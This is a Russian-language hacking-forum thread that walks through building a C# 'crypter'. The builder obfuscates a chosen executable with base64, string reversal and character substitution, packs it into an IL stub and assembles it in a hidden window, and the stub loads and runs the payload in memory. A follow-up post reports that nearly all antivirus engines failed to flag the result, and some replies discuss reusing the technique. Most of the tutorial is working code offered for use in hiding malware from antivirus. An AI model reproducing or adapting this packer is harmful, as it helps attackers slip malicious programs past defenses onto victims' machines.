Пишем криптор на C#(копирайт)

rmx1337

Участник
Статус
offline
Регистрация
29.04.2017
Сообщения
28
Репутация
17
Нам понадобиться:
  1. VS от же Visual Studio, (я использую 2013)
  2. Установленный Net. Framework 2.0
  3. 1 извилина в черепной коробке (для ctrl +c и ctrl + v)
  4. Клава и мышка:-D
  5. Крепкий коффе
  6. 2 руки (хотя вполне может хватить и 1)
  7. 15 минут времени
Создаем новый проект (кто не знает как узрите картинку ниже)
1.gif
Создаем не затейливый дизайн из 2 кнопок и 1 текстбокса
2016-04-01_212706.png
2 раза кликаем по кнопке "ФаИл" и вставляем этот не понятный, без коментов код
Код:
OpenFileDialog open = new OpenFileDialog(); // обьявляем что-то
            open.Filter = "Server.exe |*.exe"; // типо делаем фильтр
            if (open.ShowDialog() == DialogResult.OK) // оО условие, что если что-то нажато
            {
                textBox1.Text = open.FileName; // то что-то выводим куда-то =)
            }
Добавляем:
Код:
public string rip;
        public string file;
        public string stub;
        private byte[] convert;
В самый верх
3.png
Ну а теперь уже можно и с 2 кнопкой поработать
Код:
file = Convert.ToBase64String(System.IO.File.ReadAllBytes(textBox1.Text)); //конвертируем в базу наш файл
  file = Strings.StrReverse(file); // делаем реверс
  file = file.Replace("A", "恋").Replace("B", "坦"); // заменяем символы А - Алени =) и B - Бараны
  stub = System.IO.File.ReadAllText(Application.StartupPath + "\\Stub\\Stub.il"); //считываем наш стаб. Обещаю, что скоро он будет
  stub = stub.Replace("%code%", file); // вставляем на конвертированный, реверснуты и заменный файл в стаб =)
  System.IO.File.WriteAllText(Application.StartupPath + "\\Stub\\NewStub.il", stub, System.Text.Encoding.UTF8); // записываем все это в файлик
  // создаем процес
  ProcessStartInfo startInfo = new ProcessStartInfo
  {
  FileName = (Environment.GetEnvironmentVariable("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ilasm.exe"), //путь
  // скрываем окошко
  CreateNoWindow = true,
  WindowStyle = ProcessWindowStyle.Hidden,
  // передаем аргументы
  Arguments = string.Concat(new string[] {
     "/alignment=512 /QUIET \"",
     Application.StartupPath,
     "\\Stub\\NewStub.il\" /output:\"",
     Application.StartupPath + "\\Server.exe",
     "\""
   })
  };
  Process.Start(startInfo).WaitForExit(); // ждем завершения
  System.IO.File.Delete(Application.StartupPath + "\\Stub\\NewStub.il"); // удаляем лишнее
  MessageBox.Show("Воу-воу полегче парень", "Все окай", MessageBoxButtons.OK, MessageBoxIcon.Information); // выдаем мессагу
Ну вот и ошибки посыпались :-D А как же без них ?
Легким движением мыши убираем их
2.gif
С этой частью вроде бы закончили
Переходим к написанию, копированию, созданию (нужное подчеркнуть) стаба
Создаем новый проект. Можно тут же
3.gif

Удаляем все юзинги и пишет те, что нам пригодятся
Код:
using System;
using Microsoft.VisualBasic;
Объявляем переменные:
Код:
public static string stb;
        public static string file;
        private static byte[] convert;
Если кто не понял что, как и для чего, то поднимаемся выше к началу и там все расписано

В Main пишем код
Код:
file = "%code%";
            stb = Strings.StrReverse(file);
            stb = stb.Replace("恋", "A").Replace("坦", "B");
            convert = Convert.FromBase64String(stb);
 
            object Fuck = new object[(0)];
            Fuck = new object[] {"磨頼濃壁燥濯","而臼艮伶坦亞虎采洩怨","龠戴穢孀鰥鬻"};
            object f1 = AppDomain.CurrentDomain;
            object F2 = Interaction.CallByName(f1, "Load", CallType.Method, convert);
            object f3 = Interaction.CallByName(F2, "EntryPoint", CallType.Method);
            object f4 = Interaction.CallByName(f3, "Invoke", CallType.Method, Fuck, null);
Ну вот почти и закончили. Осталось совсем чуток
Компилируем наш стаб и сам криптор
Запускаем cmd (win + r => cmd)
Нужно перейти в папку с ildasm, которая находится (в моем случае) C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\ildasm.exe\ildasm.exe

Прописываем в консоли
Код:
C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin
4.gif
Мы попали в папку с ildasm.ex
Теперь нужно пошифровать наш стаб. Для этого пишем: путь к нашему стабу и путь выхода
5.gif
Копируем наш стаб, с расширением .il, в папку с криптором, предварительно создав папку Stub
Теперь проверяем работоспособность нашего "чудо" софта
6.gif
4.png
P.S. тема старая,но тут подобного не нашел,может кому-то пригодится.
Источник:https://xakfor.net/threads/Пишем-криптор-на-c.15357/
 

rmx1337

Участник
Статус
offline
Регистрация
29.04.2017
Сообщения
28
Репутация
17
А какой детект будет после такого крипта?
когда его писали был такой:
  • Arcavir Antivirus 2014 : Clean
  • avast! Internet Security : Clean
  • AVG Anti-Virus : Clean
  • Avira Antivirus Suite : TR/Dropper.Gen
  • Bitdefender Antivirus Plus : Clean
  • Clam AntiVirus : Clean
  • COMODO Internet Security : Clean
  • Dr.Web Anti-virus : Clean
  • eScan Antivirus : Clean
  • ESET NOD32 Antivirus : Clean
  • F-PROT Antivirus for Windows : Clean
  • F-Secure Internet Security 2014 : Clean
  • FortiClient Lite : Clean
  • IKARUS anti.virus : Clean
  • Jiangmin Antivirus 2011 : Clean
  • K7 UltimateSecurity : Clean
  • Kaspersky Anti-Virus : Clean
  • McAfee VirusScan Enterprise : Clean
  • Quick Heal Internet Security : Clean
  • Sophos Anti-Virus : Clean
  • Symantec Endpoint Protection : Clean
  • Total Defence Anti-Virus 2011 : Clean
  • Zillya! Internet Security : Clean
 

GrondAue

Новичок
Статус
offline
Регистрация
04.12.2016
Сообщения
15
Репутация
5
Меняет английские буквы на китайские? А так можно было? Годно, на основе этого можно что то свое замутить. Как будет время покопаюсь
 

Spec112

Эксперт
Статус
offline
Регистрация
30.10.2016
Сообщения
478
Репутация
488
Этой статье 100500 лет ,где я ее только не читал ,палить будет всё подряд
 

shkolnik

Новичок
Статус
offline
Регистрация
23.11.2015
Сообщения
47
Репутация
3
Уже давно так делал - в итоге пропадал функционал у программы.